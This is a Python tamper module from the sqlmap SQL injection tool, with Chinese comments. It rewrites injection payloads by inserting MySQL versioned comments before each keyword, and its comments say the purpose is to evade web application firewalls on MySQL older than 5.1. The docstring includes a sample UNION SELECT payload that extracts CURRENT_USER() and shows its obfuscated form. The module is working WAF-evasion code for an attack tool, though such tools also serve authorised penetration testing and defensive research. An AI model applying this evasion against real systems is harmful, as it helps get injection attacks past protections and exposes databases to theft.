#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import os
import re

from lib.core.common import singleTimeWarnMessage  # 从核心库导入单次警告消息函数
from lib.core.data import kb  # 从核心库导入知识库，包含SQL关键字等信息
from lib.core.enums import DBMS  # 从核心库导入数据库管理系统枚举
from lib.core.enums import PRIORITY  # 从核心库导入优先级枚举
from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS  # 从核心设置导入忽略空格影响的关键字列表

# 设置优先级为较高
__priority__ = PRIORITY.HIGHER

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
    """
    这个函数用于篡改（tamper）输入的payload，通过在每个关键字前添加MySQL版本注释。

    参数：
        payload：要篡改的原始payload。
        **kwargs：其他可选参数（在本函数中未使用）。

    要求：
        * 仅适用于MySQL版本小于5.1的数据库。

    测试情况：
        * MySQL 4.0.18, 5.0.22

    注意：
        * 这个篡改方法对于绕过Web应用防火墙很有用，特别是当后端数据库管理系统是MySQL时。
        * 在ModSecurity SQL注入挑战中使用过，链接：http://modsecurity.org/demo/challenge.html

    示例：
        >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
        "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
    """

    def process(match):
        """
        辅助函数，用于处理正则匹配的结果。
        将匹配到的关键字替换为带有版本注释的关键字。
        """
        word = match.group('word')
        if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
            return match.group().replace(word, "/*!0%s" % word)
        else:
            return match.group()

    retVal = payload  # 初始化返回值为输入的payload

    if payload:
        # 使用正则表达式查找并替换关键字
        retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal)
        # 替换多余的空格
        retVal = retVal.replace(" /*!0", "/*!0")

    return retVal
